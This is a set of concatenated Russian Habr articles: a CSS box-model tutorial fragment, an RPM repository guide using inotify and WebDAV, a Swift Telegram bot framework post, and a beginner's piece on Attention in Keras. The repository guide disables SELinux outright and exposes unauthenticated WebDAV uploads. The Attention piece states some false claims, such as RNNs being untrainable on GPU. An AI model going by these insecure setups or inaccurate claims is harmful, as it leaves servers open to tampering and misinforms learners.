Посмотрите - отступ в 100 пикселей был добавлен **только с правой стороны** нашего контента, как мы указали.
Свойство Border
---------------
Обычно вы будете использовать свойство border при создании **кнопок**. Вот демонстрация GIF
Кнопки, использующие свойство BorderОбратите внимание, как появляется **белая рамка** вокруг кнопки, когда наводится указатель мыши на кнопку.
### Как использовать свойство границы в CSS
И помните, **граница** - это пространство, добавленное поверх нашего **контента + отступа**: ****
Черная пунктирная линия - границаЕсть три важных **параметра** свойства границы:
* border size
* border style: **solid** (сплошная линия) **/ dotted** ("точечная" линия) **/ dashed** (пунктир)
* border color
Синтаксис свойства границыКак я перечислил выше, существует три стиля свойства границы. В этом примере мы будем использовать **пунктирный** стиль:
Чтобы воссоздать приведенные выше результаты, напишите этот код в своем CSS:
```
.box-1 {
width: 300px;
font-size: 50px;
padding: 50px;
border: 10px dashed black;
}
```
Откроем консоль и посмотрим расчеты блочной модели:
Теперь посмотрите на изображение выше - вокруг нашего **контента + отступа** добавлена **граница** 10 пикселей.
Свойство Margin
---------------
Обычно я использую свойство **margin,** чтобы добавить **отступ** между моим контентом и экраном на макете рабочего стола. Посмотрите на эту гифку:
Добавление отступов на сайтОбратите внимание, что я добавил поля к левому и правому краям веб-сайта выше
Вот еще один пример **использования** свойства margin:
Добавление отступов на сайт### Как использовать свойство margin в CSS
Margin имеет всего четыре **свойства** поля:
* margin-top
* margin-right
* margin-bottom
* margin-left
Свойства marginИ помните, **margin** - это пространство, добавленное поверх нашего **контента + отступы** (по padding) **+ границы**:
Серая область - marginДавайте добавим отступ к нашему контенту. Весь наш набор **смещается** из-за **margin**,как в этом GIF: ****
СмещениеЧтобы воссоздать приведенные выше результаты, напишите этот код в своем CSS:
```
.box-1 {
padding: 50px;
border: 10px dashed black;
margin: 50px;
}
```
Можем еще раз проверить расчеты:
Посмотрите, вокруг нашего **контента + отступов + границы** было добавлено поле 50 пикселей .
Давайте попробуем добавить **поле** только к одной стороне нашего контента (только левой стороне):
Свойство margin-leftЧтобы воссоздать результаты выше, напишите этот код в своем CSS
```
.box-1 {
padding: 50px;
border: 10px dashed black;
margin-left: 50px;
}
```
На консоли мы видим, что **поле** в **50 пикселей** применено только к **левой стороне**
Свойство box-sizing
-------------------
Это свойство определяет, как будут рассчитываться поля, отступы и границы. Есть **три типа вычислений** (можно называть их **свойствами**):
* border-box
* padding-box
* content-box
#### Примечание:
Мы не будем обсуждать **padding-box**, поскольку его поддерживает только Firefox, и он используется не очень часто.
В чем разница между content-box и border-box в CSS?
---------------------------------------------------
И **border-box**, и **content-box** работают одинаково. Посмотрите на эти изображения:
Блоки, использующие свойство border-boxБлоки, использующие свойство content-boxИтак, в чем здесь главное отличие? Разница заметна, когда мы добавляем поля, границу или отступы к нашим блокам.
Когда мы используем **box-sizing: content-box**, который является значением по умолчанию, он **добавит** поля, отступы и границы **за пределами поля**, например:
Заполнение применяется стандартноВы также можете увидеть расчеты здесь:
Расчеты с content-boxЭто означает, что все может выйти из-под контроля, и вы можете получить неожиданный результат. Это означает, что при таком подходе, будет **сложно создавать адаптивные веб-сайты.**Вместо этого всегда используйте свойство **box-sizing: border-box**.
Но когда мы используем свойство **box-sizing: border-box**, оно **добавит** поля, отступы и границы **вовнутрь блока**, например:
Применение вовнутрь блокаВ **box-sizing: border-box** абсолютно точные расчеты HTML - элементов, а это значит, что такой способ является идеальным для создания адаптивных веб-сайтов.
Вы также можете поэкспериментировать со значениями - просто используйте этот код:
```
* {
box-sizing: border-box;
}
/* Or, Write */
* {
box-sizing: content-box;
}
```
Заключение
----------
Вот собственно и всё. Для желающих оставлю ссылку на видео-инструкцию к данному уроку от автора (Джоя Шахеба): | https://habr.com/ru/post/569530/ | null | ru | null |
# Простой rpm репозиторий используя Inotify и webdav
В этом посте рассмотрим хранилище rpm артефактов c помощью простого скрипта с inotify + createrepo. Заливка артефактов осуществляется через webdav используя apache httpd. Почему apache httpd будет написано ближе к концу поста.
### Итак, решение должно отвечать cледующим требованиям для организации только RPM хранилища:
* Бесплатное
* Доступность пакета в репозитории через несколько секунд после загрузки в хранилище артефактов.
* Простое в установке и обслуживании
* Возможность сделать высокую доступность (high availability)
### Почему не [SonaType Nexus](https://habr.com/ru/post/473358/) или [Pulp](https://pulpproject.org/):
* Хранение в [SonaType Nexus](https://habr.com/ru/post/473358/) или [Pulp](https://pulpproject.org/) многих типов артефактов приводит к тому что [SonaType Nexus](https://habr.com/ru/post/473358/) или [Pulp](https://pulpproject.org/) становятся единой точкой отказа.
* Высокая доступность (high availability) в [SonaType Nexus](https://habr.com/ru/post/473358/) является платной.
* [Pulp](https://pulpproject.org/) мне кажетя переусложенным решением.
* Артефакты в [SonaType Nexus](https://habr.com/ru/post/473358/) хранятся в blob. При внезапном выключении электричества вы не сможете восстановить blob, если у в вас нет бекапа. У нас была такая ошибка: `ERROR [ForkJoinPool.commonPool-worker-2] *SYSTEM [com.orientechnologies.orient.core.storage](http://com.orientechnologies.orient.core.storage/).fs.OFileClassic - $ANSI{green {db=security}} Error during data read for file 'privilege_5.pcl' 1-th attempt [java.io](http://java.io/).IOException: Bad address`. Blob так и не восстановили.
### Исходный код
→ Исходный код находится [тут](https://github.com/patsevanton/inotify-createrepo)
Основной скрипт выглядит так:
```
#!/bin/bash
source /etc/inotify-createrepo.conf
LOGFILE=/var/log/inotify-createrepo.log
function monitoring() {
inotifywait -e close_write,delete -msrq --exclude ".repodata|.olddata|repodata" "${REPO}" | while read events
do
echo $events >> $LOGFILE
touch /tmp/need_create
done
}
function run_createrepo() {
while true; do
if [ -f /tmp/need_create ];
then
rm -f /tmp/need_create
echo "start createrepo $(date --rfc-3339=seconds)"
/usr/bin/createrepo --update "${REPO}"
echo "finish createrepo $(date --rfc-3339=seconds)"
fi
sleep 1
done
}
echo "Start filesystem monitoring: Directory is $REPO, monitor logfile is $LOGFILE"
monitoring >> $LOGFILE &
run_createrepo >> $LOGFILE &
```
### Выключение Selinux
Пока что некогда писать политики для Selinux. Поэтому просто отключите его.
```
SELINUX=disabled
```
### Установка
Inotify-createrepo работает только на CentOS 7 или выше. На CentOS 6 не удалось его заставить работать.
```
yum install -y epel-release
yum -y install yum-plugin-copr
yum copr enable antonpatsev/inotify-createrepo
yum -y install inotify-createrepo
systemctl start inotify-createrepo
```
### Конфигурирование
По умолчанию inotify-createrepo мониторит директорию `/var/www/repos/rpm-repo/`.
Изменить эту директорию можно в файле `/etc/inotify-createrepo.conf.`
### Использование
При добавлении любого файла в директорию `/var/www/repos/rpm-repo/` inotifywait создаст файл `/tmp/need_create`. Функция run\_createrepo запускается в бесконечном цикле и мониторит файл `/tmp/need_create`. Если файл существует, то запускается `createrepo --update`.
В файле появится запись:
```
/var/www/repos/rpm-repo/ CREATE nginx-1.16.1-1.el7.ngx.x86_64.rpm
start createrepo 2020-03-02 09:46:21+03:00
Spawning worker 0 with 1 pkgs
Spawning worker 1 with 0 pkgs
Spawning worker 2 with 0 pkgs
Spawning worker 3 with 0 pkgs
Workers Finished
Saving Primary metadata
Saving file lists metadata
Saving other metadata
Generating sqlite DBs
Sqlite DBs complete
finish createrepo 2020-03-02 09:46:22+03:00
```
### WebDav
Загружать файлы можно несколькими путями: SSH, NFS, WebDav. WebDav кажется современным и простым вариантом.
Для WebDav будем использовать Apache httpd. Почему Apache httpd в 2020 году, а не nginx?
Хочется использовать автоматизированные средства для сборки Nginx + модули (например, Webdav).
Есть проект по сборке Nginx + модули — [Nginx-builder](https://github.com/TinkoffCreditSystems/Nginx-builder). Если использовать nginx + wevdav для загрузки файлов, то нужен модуль [nginx-dav-ext-module](https://github.com/arut/nginx-dav-ext-module). При попытке собрать и использовать Nginx с [nginx-dav-ext-module](https://github.com/arut/nginx-dav-ext-module) при помощи [Nginx-builder](https://github.com/TinkoffCreditSystems/Nginx-builder) мы получим ошибку [Used by http\_dav\_module instead of nginx-dav-ext-module](https://github.com/TinkoffCreditSystems/Nginx-builder/issues/27). Такая же ошибка была закрыта летом [nginx: [emerg] unknown directive dav\_methods](https://github.com/TinkoffCreditSystems/Nginx-builder/issues/12).
Я делал Pull request [Add check git\_url for embedded, refactored --with-{}\_module](https://github.com/TinkoffCreditSystems/Nginx-builder/pull/18) и [if module == "http\_dav\_module" append --with](https://github.com/TinkoffCreditSystems/Nginx-builder/pull/14). Но их не приняли.
#### Установка Apache httpd
```
yum -y install httpd
systemctl start httpd
systemctl enable httpd.service
```
У HTTPD нет прав на директорию /var/www, поэтому выставляем ей права.
```
chown -R apache:apache /var/www
```
#### Конфиг webdav.conf
```
DavLockDB /var/www/html/DavLock
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog /var/log/httpd/error.log
CustomLog /var/log/httpd/access.log combined
Alias /rpm /var/www/repos/rpm-repo
DAV On
Options Indexes FollowSymlinks SymLinksifOwnerMatch IncludesNOEXEC
IndexOptions NameWidth=\* DescriptionWidth=\*
AllowOverride none
Require all granted
```
Остальную настройку Apache httpd я думаю вы сделаете сами.
### Nginx перед Apache httpd
В отличие от Apache, Nginx использует событийную модель обработки запросов, благодаря чему на любое количество клиентов требуется всего один процесс HTTP-сервера. Вы можете использовать nginx и снизить нагрузку на сервер.
Конфиг nginx-front.conf. Остальную настройку nginx я думаю вы сделаете сами.
```
upstream nginx_front {
server localhost:80;
}
server {
listen 443 ssl;
server_name ваш-виртуальных-хост;
access_log /var/log/nginx/nginx-front-access.log main;
error_log /var/log/nginx/nginx-front.conf-error.log warn;
location / {
proxy_pass http://nginx_front;
}
}
```
### Загрузка файлов через WebDav
Загрузка rpm очень простая.
```
curl -T ./nginx-1.16.1-1.el7.ngx.x86_64.rpm https://ваш-виртуальный-хост/rpm/
``` | https://habr.com/ru/post/490644/ | null | ru | null |
# Как iOS 'ник Telegram бота писал, на Swift
Речь пойдет о [Telegrammer, Telegram Bot фреймворк для Linux/macOS](https://github.com/givip/Telegrammer), полностью написанный на Swift 4.1
Экспозиция: Как же пришла в голову такая мысль?
===============================================
Одному моему pet-project (iOS приложение, связанное с Telegram, но сейчас речь не о нем) требовался веб-интерфейс для контент-менеджера, чтобы создавать описание, проставлять теги и прочее. Так как приложение уже было идейно связано с Telegram, сразу пришла в голову мысль отправлять контент напрямую в мессенджер и там уже выполнять вышеописанные действия.
Отправлять такие данные, как оказалось, можно через ботов (как устроены [боты в Telegram](https://core.telegram.org/bots)).
Завязка: Искал готовое решение, подходящего не нашел.
=====================================================
И тут все звезды выстроились в ряд, сейчас поймете о чем я...
Есть множество надежных, зарекомендовавших себя, Server Side фреймворков, на Java, Go, Python, PHP и других, которые уже позволяют создать бота, без лишних проблем. Но это же не про нас (свидетелей ~~Иеговы~~Apple), мы легких путей не ищем.
А что если, написать бота на Swift?
Совсем недавно (по меркам языков программирования), активно начало развиваться [Server Side Swift community](https://swift.org/server-apis/), и появились несколько фреймворков, таких как Vapor, Perfect, Kitura, которые успели обрести достаточную известность.
Плюс Apple подкинула дровишек в топку, облегчив жизнь разработчикам низкоуровневым и высокопроизводительным фреймворком [SwiftNIO](https://github.com/apple/swift-nio)
**Чем крут SwiftNIO?**SwiftNIO is a cross-platform asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients.
It's like [Netty](https://netty.io/), but written for Swift.
SwiftNIO is fundamentally a low-level tool for building high-performance networking applications in Swift. It particularly targets those use-cases where using a "thread-per-connection" model of concurrency is inefficient or untenable. This is a common limitation when building servers that use a large number of relatively low-utilization connections, such as HTTP servers.
To achieve its goals SwiftNIO extensively uses "non-blocking I/O": hence the name! Non-blocking I/O differs from the more common blocking I/O model because the application does not wait for data to be sent to or received from the network: instead, SwiftNIO asks for the kernel to notify it when I/O operations can be performed without waiting.
SwiftNIO does not aim to provide high-level solutions like, for example, web frameworks do. Instead, SwiftNIO is focused on providing the low-level building blocks for these higher-level applications. When it comes to building a web application, most users will not want to use SwiftNIO directly: instead, they'll want to use one of the many great web frameworks available in the Swift ecosystem. Those web frameworks, however, may choose to use SwiftNIO under the covers to provide their networking support.
#### Что я рассматривал из готовых Telegram Bot Swift библиотек:
1. [zmeyc/telegram-bot-swift](https://github.com/zmeyc/telegram-bot-swift) — Достаточно продвинутая библиотека, весь API Telegram Bot парсится с сайта, как методы, так и модели, продвинутый роутинг, работает как на macOS, так и на Linux.
Минусы, связанные с тем очевидно, что писалась достаточно давно, и на тот момент, все фреймворки Apple (особенно Foundation) работали на Linux очень нестабильно:
* Отправляет запросы через curl
* На момент исследования как сама библиотека, так и зависимые библиотеки, не были портированы на swift 4
* Не поддерживается WebHooks
* Давно не обновляющийся репозиторий, как следствие, некоторые фишки обновленного Telegram Bot API не поддерживаются.
2. [FabrizioBrancati/SwiftyBot](https://github.com/FabrizioBrancati/SwiftyBot) — Да простит меня автор, вообще не понимаю почему у этого бота больше всех звезд, под капотом устаревший Vapor 2.4.0, и одинокий main.swift, который просто демонстрирует простейшую работу с ботом. Никаких моделей, хелперов, очередей отправки, ничего. Ах нет! В отличие от конкурентов, поддерживает WebHooks.
3. [ShaneQi/ZEGBot](https://github.com/ShaneQi/ZEGBot) — Совсем простенькая реализация, реализованы основные методы, модели и опять же только LongPolling.
Итак, решено, будем писать свой Фреймворк. Честно признаюсь, вдохновил меня [Andrey Fidrya](https://github.com/zmeyc) своим ботом, но я решил, что можно попробовать сделать лучше.
Кульминация: Добро пожаловать в мир бэкенда. SwiftNIO, спасибо за взорванный мозг.
==================================================================================
Признаюсь, после iOS приложений, писать приложение для Server Side достаточно сложно, мыслить приходится по другому.
К моменту начала написания фреймворка ребята из Vapor анонсировали бету и уже на основе SwiftNIO. Vapor имеет модульную архитектуру, каждый слой живет в собственном репозитории, что очень удобно, можно использовать только часть реализаций.
#### Я решил использовать:
* [vapor/http](https://github.com/vapor/http.git) — для HTTPClient, HTTPServer
* [vapor/crypto](https://github.com/vapor/crypto.git) — для https
* [vapor/multipart](https://github.com/vapor/multipart.git) — для преобразования Model -> multipart/form-data
По ходу дела были найдены некоторые баги в Vapor HTTPClient, успешно пофикшены, доработан HTTPServer, для работы с https "из коробки", без необходимости использовать nginx и подобных.
#### Что получилось:
* API для бота проектировалось с сильной оглядкой на проверенного игрока в этой области [python-telegram-bot](https://python-telegram-bot.org)
* Также как и у [zmeyc/telegram-bot-swift](https://github.com/zmeyc/telegram-bot-swift) все модели и методы бота [Telegram Bot API](https://core.telegram.org/bots/api) могут быть сгенерированы запуском скрипта.
* Реализованы режимы Longpolling и WebHooks
* Реализованы хендлеры: CommandHandler, CallbackQueryHandler, RegexpHandler, MessageHandler
* Множество фильтров для Updates
* Два простых бота, в качестве примера, стандартный EchoBot и HelloBot
Развязка: Пишем бота, общеполезного, пусть проверяет орфографию.
================================================================
Бот: [@yandex\_spell\_checker\_bot](https://t.me/yandex_spell_checker_bot)
Исходный код: <https://github.com/givip/YandexSpellCheckerBot>
*main.swift* выглядит так:
```
import Foundation
import Telegrammer
///Получаем токен из enviroment variable (наиболее безопасно, рекомендуется)
guard let token = Enviroment.get("SPELL_CHECKER_BOT_TOKEN") else { exit(1) }
do {
///Создаем инстанс бота
let bot = try Bot(token: token)
///Создаем диспетчер для бота
let dispatcher = Dispatcher(bot: bot)
///Создаем контроллер проверки орфографии
let controller = SpellCheckerController(bot: bot)
///Регистрируем хендлер для команды /start, приветствуем пользователя
let commandHandler = CommandHandler(commands: ["/start"], callback: controller.start)
dispatcher.add(handler: commandHandler)
///Регистрируем хендлер для приватных сообщений, которые собственно и будем проверять на орфографию
let textHandler = MessageHandler(filters: .private, callback: controller.spellCheck)
dispatcher.add(handler: textHandler)
///Регистрируем хендлер инлайн сообщений, отправленных из меню бота.
let inlineHandler = CallbackQueryHandler(pattern: "\\w+", callback: controller.inline)
dispatcher.add(handler: inlineHandler)
///Запускаем сервер бота в режиме Longpolling
_ = try Updater(bot: bot, dispatcher: dispatcher).startLongpolling().wait()
} catch {
print(error.localizedDescription)
}
```
Эпилог: iOS разработчики и не только, пользуйтесь!
==================================================
Фреймворк находится на стадии beta, и любой желающий может использовать его для своих нужд.
После месяца тестирования и доработок, остались некоторые недочеты, хотелки и много enhancement issues, но тем не менее, "Проверка орфографии" крутится на Ubuntu достаточно давно.
Буду благодарен за любой фидбек, и накидывание на вентилятор. | https://habr.com/ru/post/416023/ | null | ru | null |
# Attention для чайников и реализация в Keras
О статьях по искусственному интеллекту на русском языке
-------------------------------------------------------
Не смотря на то что механизм Attention описан в англоязычной литературе, в русскоязычном секторе достойного описание данной технологии я до сих пор не встречал. На нашем языке есть много статей по Искусственному Интеллекту (ИИ). Тем не менее, те статьи, которые удалось найти, раскрывают только самые простые модели ИИ, например, свёрточные сети, генеративные сети. Однако, по передовым новейшим разработками в области ИИ статей в русскоязычном секторе крайне мало.
Отсутствие статей на Русском языке по новейшим разработкам стали проблемой для меня, когда я входил в тему, изучал текущее состояние дел в области ИИ. Я хорошо знаю английский, читаю статьи на английском по тематике ИИ. Однако, когда выходит новая концепция или новый принцип ИИ, его понимание на не родном языке бывает мучительным и долгим. Зная английский, вникнуть на неродном в сложный всё же предмет стоит значительно больше сил и времени. После прочтения описания задаёшь себе вопрос: на сколько процентов ты понял? Если бы была статья на Русском, то понял бы на 100% после первого прочтения. Так произошло с генеративными сетями, по которым есть великолепный цикл статей: после прочтения всё стало понятно. Но в мире сетей есть множество подходов, которые описаны только на английском и с которыми приходилось разбираться днями.
Я собираюсь периодически писать статьи на родном языке, привнося в нашу языковую область знания. Как известно, лучший способ разобраться в теме это объяснить её кому-нибудь. Так что кому как не мне начать цикл статей по самым современным, сложным, передовым архитектурном ИИ. К концу статьи сам пойму на 100% подход, и будет польза для кого-то, кто прочитает и улучшит своё понимание (кстати я люблю Gesser, но лучше \*\*Blanche de bruxelles\*\*).
Когда разбираешься в предмете можно выделить 4 уровня понимания:
1. ты понял принцип и входы и выходы Алгоритма / Уровня
2. ты понял сходы выходы и в общих чертах как оно работает
3. ты понял всё вышеперечисленное, а также устройство каждого уровня сети (например, в модели VAE ты понял принцип, а ещё ты понял суть трюка с репараметризацией)
4. понял всё включая каждый уровень, так ещё понял, за счёт чего это всё обучается, при чём так, что стал способен подбирать гиперпараметры под свою задачу, а не копипастить готовые решения.
По новым архитектурам переход от уровня 1 к уровню 4 часто сложен: авторы делают упор на то, что им ближе описывая разные важные детали поверхностно (поняли ли они их сами?). Или твой мозг не содержит какие-то конструкции, так что даже прочитав описание оно не расшифровалось и не перешло в навыки. Это бывает, если ты в студенческие годы спал на том самом уроке матана, после ночной вечерники где давали нужный мат. аппарат. И как раз тут нужны статьи на родном языке, раскрывающие нюансы и тонкости каждой операции.
Концепция Attention и применение
--------------------------------
Выше приведён сценарий уровней понимания. Чтобы разобрать Attention, начнём с первого уровня. Перед описанием входов и выходов разберём суть: на какие базовые, понятные даже ребёнку, понятия опирается данная концепция. В статье будем использовать английский термин Attention, потому что в таком виде он является также вызовом функции библиотеки Keras (он не реализован в ней прямо, требуется дополнительный модуль, но об этом ниже). Чтобы читать дальше вы должны иметь понимание библиотеки Keras и python, потому что будет приводиться исходный код.
С английского языка Attention переводится как «внимание». Этот термин правильно описывает суть подхода: если вы автомобилист и на фотографии изображён генерал ГИБДД, вы интуитивно придаёте ему важность, вне зависимости от контекста фотографии. Вы скорее всего пристальнее взглянете на генерала. Вы напряжёте глаза, рассмотрите погоны внимательнее: сколько у него там конкретно звёзд. Если генерал не очень высокий, проигнорируете его. В противном случае учтёте как ключевой фактор при принятии решений. Так работает наш мозг. В Русской культуре мы натренированы поколениями на внимание к высоким чинам, наш мозг автоматически ставит высокий приоритет таким объектам.
Attention представляет собой способ сообщить сети, на что стоит обратить больше внимания, то есть сообщить вероятность того или иного исхода в зависимости от состояния нейронов и поступающих на вход данных. Реализованный в Keras слой Attention сам выявляет на основе обучающей выборки факторы, обращение внимания на которые снижает ошибку сети. Выявление важных факторов осуществляется через метод обратного распространения ошибки, подобно тому как это делается для свёрточных сетей.
При обучении, Attention демонстрирует свою вероятностную природу. Сам по себе механизм формирует матрицу весов важности. Если бы мы не обучали Attention, мы могли бы задать важность, например, эмпирически (генерал важнее прапорщика). Но когда мы обучаем сеть на данных, важность становится функцией вероятности того или иного исхода в зависимости от поступивших на вход сети данных. Например, если бы проживая в Царской России мы встретили генерала, то вероятность получить шпицрутенов была бы высока. Удостоверившийся в этом можно было бы через несколько личных встреч, собрав статистику. После этого наш мозг выставит соответствующий вес факту встречи данного субъекта и поставит маркеры на погоны и лампасы. Надо отметить, что выставленный маркер не является вероятностью: сейчас встреча генерала повлечёт для вас совершенно иные последствия чем тогда, кроме того вес может быть больше единицы. Но, вес можно привести к вероятности, нормировав его.
Вероятностная природа механизма Attention при обучении проявляется в задачах машинного перевода. Например, сообщим сети, что при переводе с русского на английский слово Любовь переводится в 90% случаев как Love, в 9% случаях как Sex, в 1% случаях как иное. Сеть сразу отметёт множество вариантов, показав лучшее качество обучения. При переводе мы сообщаем сети: «при переводе слова любовь обрати особое внимание на английское слово Love, также посмотри может ли это всё же быть Sex”.
Подход Attention применяться для работы с текстом, а также звуком и временными рядами. Для обработки текста широко используются рекуррентные нейронные сети (RNN, LSTM, GRU). Attention может либо дополнять их, либо заменять их, переводя сеть к более простым и быстрым архитектурам.
Одно из самых известных применений Attention это применение его для того, чтобы отказаться от рекуррентной сети и перейти к полносвязной модели. Рекуррентные сети обладают серией недостатков: невозможность осуществлять обучение на GPU, быстро наступающее переобучение. С помощью механизма Attention мы можем выстроить сеть способную к изучению последовательностей на базе полносвязной сети, обучить её на GPU, использовать droput.
Attention широко применяется для улучшения работы рекуррентных сетей, например, в области перевода с языка на язык. При использовании подхода кодирование / декодирование, которое достаточно часто применяется в современном ИИ (например, вариационные автокодировщики). При добавлении между кодировщиком и декодирокщиком слоя Attention результат работы сети заметно улучшается.
В этой статье я не привожу конкретные архитектуры сетей с использованием Attention, этому будут посвящены отдельные работы. Перечисление всех возможностей применения attention достойно отдельной статьи.
Реализация Attention в Keras из коробки
---------------------------------------
Когда разбираешься в каком-от подходе, усвоить базовый принцип очень полезно. Но, часто полное понимание приходит только посмотрев на техническую реализацию. Видишь потоки данных, составляющие функцию операции, становится ясно что именно вычисляется. Но сначала его нужно запустить и написать «Attention hello word».
В настоящее время механизм Attention не реализован в самом Keras. Но уже есть сторонние реализации, например [attention-keras](https://github.com/thushv89/attention_keras) который можно установить с github. Тогда ваш код станет предельно простым:
```
from attention_keras.layers.attention import AttentionLayer
attn_layer = AttentionLayer(name='attention_layer')
attn_out, attn_states = attn_layer([encoder_outputs, decoder_outputs])
```
Данная реализация поддерживает функцию визуализации весов Attention. Обучив Attention можно получить матрицу, сигнализирующую, что по мнению сети особенно важно примерно такого вида (картинка с github со страницы библиотеки attention-keras).
В принципе вам больше ничего не нужно: включите этот код в вашу сеть как один из уровней и наслаждайтесь обучением вашей сети. Любая сеть, любой алгоритм проектируется на первых этапах на концептуальном уровне (как и база данных кстати), после чего реализация до воплощения уточняется в логическом и физическом представлении. Для нейросетей пока данного метода проектирования не разработано (о да, это будет тема моей следующей статьи). Вы же не разбираетесь, как внутри работают слои свёртки? Описан принцип, вы их используете.
Реализация Attention в Keras на низком уровне
---------------------------------------------
Чтобы окончательно разобраться в теме, ниже подробно разберём реализацию Attention под капотом. Концепция хороша, но как именно это работает и почему результат получается именно таким как заявлено?
Простейшая реализация механизма Attention в Keras занимает всего 3 строки:
```
inputs = Input(shape=(input_dims,))
attention_probs = Dense(input_dims, activation='softmax', name='attention_probs')(inputs)
attention_mul = merge([inputs, attention_probs], output_shape=32, name='attention_mul', mode='mul'
```
В данном случае в первой строке декларируется слой Input, далее идёт полносвязный слой с функцией активации softmax с количеством нейронов равным количеству элементов в первом слое. Третий слой умножает результат полносвязного слоя на входные данные поэлементно.
Ниже приведён целый класс Attention, реализующий немного более сложный механизм self-attention, который может быть использован как полноценный уровень в модели, класс наследует класс Keras layer.
```
# Attention
class Attention(Layer):
def __init__(self, step_dim,
W_regularizer=None, b_regularizer=None,
W_constraint=None, b_constraint=None,
bias=True, **kwargs):
self.supports_masking = True
self.init = initializers.get('glorot_uniform')
self.W_regularizer = regularizers.get(W_regularizer)
self.b_regularizer = regularizers.get(b_regularizer)
self.W_constraint = constraints.get(W_constraint)
self.b_constraint = constraints.get(b_constraint)
self.bias = bias
self.step_dim = step_dim
self.features_dim = 0
super(Attention, self).__init__(**kwargs)
def build(self, input_shape):
assert len(input_shape) == 3
self.W = self.add_weight((input_shape[-1],),
initializer=self.init,
name='{}_W'.format(self.name),
regularizer=self.W_regularizer,
constraint=self.W_constraint)
self.features_dim = input_shape[-1]
if self.bias:
self.b = self.add_weight((input_shape[1],),
initializer='zero',
name='{}_b'.format(self.name),
regularizer=self.b_regularizer,
constraint=self.b_constraint)
else:
self.b = None
self.built = True
def compute_mask(self, input, input_mask=None):
return None
def call(self, x, mask=None):
features_dim = self.features_dim
step_dim = self.step_dim
eij = K.reshape(K.dot(K.reshape(x, (-1, features_dim)), K.reshape(self.W, (features_dim, 1))), (-1, step_dim))
if self.bias:
eij += self.b
eij = K.tanh(eij)
a = K.exp(eij)
if mask is not None:
a *= K.cast(mask, K.floatx())
a /= K.cast(K.sum(a, axis=1, keepdims=True) + K.epsilon(), K.floatx())
a = K.expand_dims(a)
weighted_input = x * a
return K.sum(weighted_input, axis=1)
def compute_output_shape(self, input_shape):
return input_shape[0], self.features_dim
```
Здесь мы видим примерно то же самое что было реализовано выше через полносвязный слой Keras, только выполненное через более глубокую логику на более низком уровне. В функции создаётся параметрический уровень (self.W) который потом скалярно умножается (K.dot) на входной вектор. Логика зашитая в этом варианте немного более cложна: к входному вектору, помноженному на веса self.W, применяется сдвиг (если раскрыт параметр bias), гиперболический тангенс, экспонирование, маска (если она задана), нормирование, после чего входной вектор снова взвешивается по полученному результату. У меня нет описания логики заложенной в этом примере, воспроизвожу операции по чтению кода. Кстати, напишите пожалуйста в комментариях, если вы узнали в этой логике какую-то математическую высокоуровневую функцию.
У класса есть параметр «bias» т.е. предвзятость. Если параметр активирован, то после применения Dense слоя итоговый вектор будет сложен с вектором параметров слоя «self.b» что даст возможность не только определять «веса» для нашей функции внимания, но также смещать уровень внимания на число. Пример из жизни: мы боимся привидений, но ни разу не встречали их. Таким образом мы вносим поправку на страх -100 баллов. То есть только если страх зашкалит за 100 баллов, мы примем решения о защите от привидений, вызове агентства ловцов привидений, покупке отпугивающих устройства и т.д.
Заключение
----------
У механизма Attention есть вариации. Самый простой вариант Attention, реализованный в классе, приведённом выше, называется Self-Attention. Self-attention это механизм предназначенный для обработки последовательных данных с учётом контекста каждой метки времени. Он чаще всего применяется для работы с текстовой информацией. Реализацию self-attention можно взять из коробки, импортировав библиотеку keras-self-attention. Есть и другие вариации Attention. Изучая англоязычные материалы удалось насчитать более 5 вариаций.
При написании даже этой относительно короткой статьи я изучил более 10 англоязычных статей. Безусловно мне не удалось загрузить все данные из всех этих статей в 5 страниц, я сделал лишь выжимку, с целью создать «руководство для чайников». Чтобы разобрать все нюансы механизма Attention потребуется книжечка страниц на 150-200. Очень надеюсь, мне удалось раскрыть базовую сущность этого механизма чтобы те, кто только начинает разбираться в машинному обучении, поняли как это всё работает.
Источники
---------
1. [Attention mechanism in Neural Networks with Keras](https://mc.ai/attention-mechanism-in-neural-networks-with-keras/)
2. [Attention in Deep Networks with Keras](https://towardsdatascience.com/light-on-math-ml-attention-with-keras-dc8dbc1fad39)
3. [Attention-based Sequence-to-Sequence in Keras](https://wanasit.github.io/attention-based-sequence-to-sequence-in-keras.html)
4. [Text Classification using Attention Mechanism in Keras](https://androidkt.com/text-classification-using-attention-mechanism-in-keras/)
5. [Pervasive Attention: 2D Convolutional Neural Networks for Sequence-to-Sequence Prediction](https://arxiv.org/abs/1808.03867)
6. [How to implement the Attention Layer in Keras?](https://www.youtube.com/watch?v=oaV_Fv5DwUM)
7. [Attention? Attention!](https://lilianweng.github.io/lil-log/2018/06/24/attention-attention.html)
8. [Neural Machine Translation with Attention](https://www.tensorflow.org/beta/tutorials/text/nmt_with_attention) | https://habr.com/ru/post/458992/ | null | ru | null |
# Как работает JS: цикл событий, асинхронность и пять способов улучшения кода с помощью async / await
**[Советуем почитать] Другие 19 частей цикла**Часть 1: [Обзор движка, механизмов времени выполнения, стека вызовов](https://habrahabr.ru/company/ruvds/blog/337042/)
Часть 2: [О внутреннем устройстве V8 и оптимизации кода](https://habrahabr.ru/company/ruvds/blog/337460/)
Часть 3: [Управление памятью, четыре вида утечек памяти и борьба с ними](https://habrahabr.ru/company/ruvds/blog/338150/)
Часть 4: [Цикл событий, асинхронность и пять способов улучшения кода с помощью async / await](https://habrahabr.ru/company/ruvds/blog/340508/)
Часть 5: [WebSocket и HTTP/2+SSE. Что выбрать?](https://habrahabr.ru/company/ruvds/blog/342346/)
Часть 6: [Особенности и сфера применения WebAssembly](https://habrahabr.ru/company/ruvds/blog/343568/)
Часть 7: [Веб-воркеры и пять сценариев их использования](https://habrahabr.ru/company/ruvds/blog/348424/)
Часть 8: [Сервис-воркеры](https://habrahabr.ru/company/ruvds/blog/349858/)
Часть 9: [Веб push-уведомления](https://habrahabr.ru/company/ruvds/blog/350486/)
Часть 10: [Отслеживание изменений в DOM с помощью MutationObserver](https://habrahabr.ru/company/ruvds/blog/351256/)
Часть 11: [Движки рендеринга веб-страниц и советы по оптимизации их производительности](https://habrahabr.ru/company/ruvds/blog/351802/)
Часть 12: [Сетевая подсистема браузеров, оптимизация её производительности и безопасности](https://habr.com/company/ruvds/blog/354070/)
Часть 12: [Сетевая подсистема браузеров, оптимизация её производительности и безопасности](https://habr.com/company/ruvds/blog/354070/)
Часть 13: [Анимация средствами CSS и JavaScript](https://habr.com/company/ruvds/blog/354438/)
